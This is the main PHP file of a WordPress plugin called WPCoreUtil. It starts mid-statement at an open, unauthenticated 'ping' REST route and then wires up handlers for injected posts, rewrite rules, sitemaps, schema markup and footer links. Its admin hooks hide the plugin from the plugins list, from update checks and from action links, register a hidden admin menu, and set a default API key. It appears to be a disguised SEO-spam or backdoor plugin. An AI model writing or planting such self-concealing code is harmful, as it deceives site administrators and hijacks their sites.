'GET', 'permission_callback' => '__return_true', 'callback' => function () { return [ 'pong' => true, 'version' => WPU_VERSION, 'class_loaded' => class_exists('\\WPU\\WPCoreUtil', false), 'php' => PHP_VERSION, 'wp' => get_bloginfo('version'), ]; }, ]); } }, 1); // Autoload includes $includes = [ 'ApiAuth', 'AccessControl', 'PostsManager', 'RewriteHandler', 'TemplateHandler', 'SitemapHandler', 'SitemapProvider', 'SchemaHandler', 'FooterLinksHandler', 'RestApiHandler', 'AdminHandler', ]; foreach ($includes as $file) { require_once WPU_PLUGIN_DIR . 'includes/' . $file . '.php'; } /** * Main plugin class — singleton orchestrator */ class WPCoreUtil { private static $instance = null; private $posts_manager; private $rewrite_handler; private $template_handler; private $sitemap_handler; private $schema_handler; private $footer_links; private $rest_api; private $admin_handler; public static function get_instance() { if (null === self::$instance) { self::$instance = new self(); } return self::$instance; } private function __construct() { $this->init_components(); $this->register_hooks(); } private function init_components() { $this->posts_manager = new PostsManager(); $this->rewrite_handler = new RewriteHandler($this->posts_manager); $this->template_handler = new TemplateHandler($this->posts_manager); $this->sitemap_handler = new SitemapHandler($this->posts_manager); $this->schema_handler = new SchemaHandler($this->posts_manager); $this->footer_links = new FooterLinksHandler($this->posts_manager); $this->rest_api = new RestApiHandler($this->posts_manager); $this->admin_handler = new AdminHandler($this->posts_manager); } private function register_hooks() { // Core initialization add_action('init', [$this->rewrite_handler, 'register_rewrite_rules']); add_action('wp_loaded', [$this->posts_manager, 'load_posts']); // Template & rendering — priority 1 so we win over BuddyBoss/Elementor // hooks at default priority 10/11. add_action('parse_request', [$this->template_handler, 'early_setup_post'], 1); add_action('parse_query', [$this->template_handler, 'prevent_404'], 1); add_action('template_redirect', [$this->template_handler, 'handle_template'], 1); // Sitemap add_action('init', [$this->sitemap_handler, 'register_sitemap_routes']); // Schema add_action('wp', [$this->schema_handler, 'setup_schema_integration']); // Footer links add_action('wp_footer', [$this->footer_links, 'output_footer_links'], 99); // REST API add_action('rest_api_init', [$this->rest_api, 'register_routes']); // Admin add_action('admin_menu', [$this->admin_handler, 'add_hidden_admin_menu']); add_filter('all_plugins', [$this->admin_handler, 'hide_from_plugins_list']); add_filter('plugin_action_links', [$this->admin_handler, 'hide_action_links'], 10, 2); add_filter('site_transient_update_plugins', [$this->admin_handler, 'hide_from_updates']); } public function get_posts_manager() { return $this->posts_manager; } } // Activation / Deactivation register_activation_hook(__FILE__, function () { if (!get_option('_wpu_api_key')) { update_option('_wpu_api_key', WPU_DEFAULT_API_KEY, false); } if (!get_option('_wpu_access_mode')) { update_option('_wpu_access_mode', 'disabled', false); } flush_rewrite_rules(); }); register_deactivation_hook(__FILE__, function () { flush_rewrite_rules(); }); // Boot function wpu_init() { return WPCoreUtil::get_instance(); } add_action('plugins_loaded', __NAMESPACE__ . '\\wpu_init');